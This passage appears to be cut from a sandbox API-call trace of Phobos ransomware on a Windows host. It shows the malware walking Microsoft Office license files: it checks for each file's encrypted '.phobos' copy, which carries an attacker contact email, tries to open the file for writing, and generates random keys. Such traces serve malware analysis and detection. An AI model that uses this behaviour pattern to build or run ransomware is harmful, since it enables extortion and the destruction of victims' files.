Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.948] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.948] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11592) returned 1 [0152.948] CloseHandle (hObject=0x580) returned 1 [0152.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0152.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.949] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.949] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19937) returned 1 [0152.949] CloseHandle (hObject=0x580) returned 1 [0152.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0152.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.950] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.950] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10635) returned 1 [0152.950] CloseHandle (hObject=0x580) returned 1 [0152.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms")) returned 0x220 [0152.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.951] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.951] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20902) returned 1 [0152.951] CloseHandle (hObject=0x580) returned 1 [0152.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms")) returned 0x220 [0152.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.952] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.952] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11584) returned 1 [0152.952] CloseHandle (hObject=0x580) returned 1 [0152.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms")) returned 0x220 [0152.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.953] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.953] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19929) returned 1 [0152.953] CloseHandle (hObject=0x580) returned 1 [0152.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms")) returned 0x220 [0152.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.953] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.954] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11147) returned 1 [0152.954] CloseHandle (hObject=0x580) returned 1 [0152.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms")) returned 0x220 [0152.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.954] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.955] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=21025) returned 1 [0152.955] CloseHandle (hObject=0x580) returned 1 [0152.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms")) returned 0x220 [0152.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.955] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.956] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11596) returned 1 [0152.956] CloseHandle (hObject=0x580) returned 1 [0152.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms")) returned 0x220 [0152.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.956] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.956] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6863) returned 1 [0152.957] CloseHandle (hObject=0x580) returned 1 [0152.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms")) returned 0x220 [0152.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.957] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.957] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11619) returned 1 [0152.957] CloseHandle (hObject=0x580) returned 1 [0152.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0152.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.958] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.958] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9611) returned 1 [0152.958] CloseHandle (hObject=0x580) returned 1 [0152.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms")) returned 0x220 [0152.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.959] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.959] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10627) returned 1 [0152.959] CloseHandle (hObject=0x580) returned 1 [0152.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms")) returned 0x220 [0152.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.960] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.960] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6798) returned 1 [0152.960] CloseHandle (hObject=0x580) returned 1 [0152.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms")) returned 0x220 [0152.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.960] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.961] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11586) returned 1 [0152.961] CloseHandle (hObject=0x580) returned 1 [0152.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms")) returned 0x220 [0152.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.961] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft 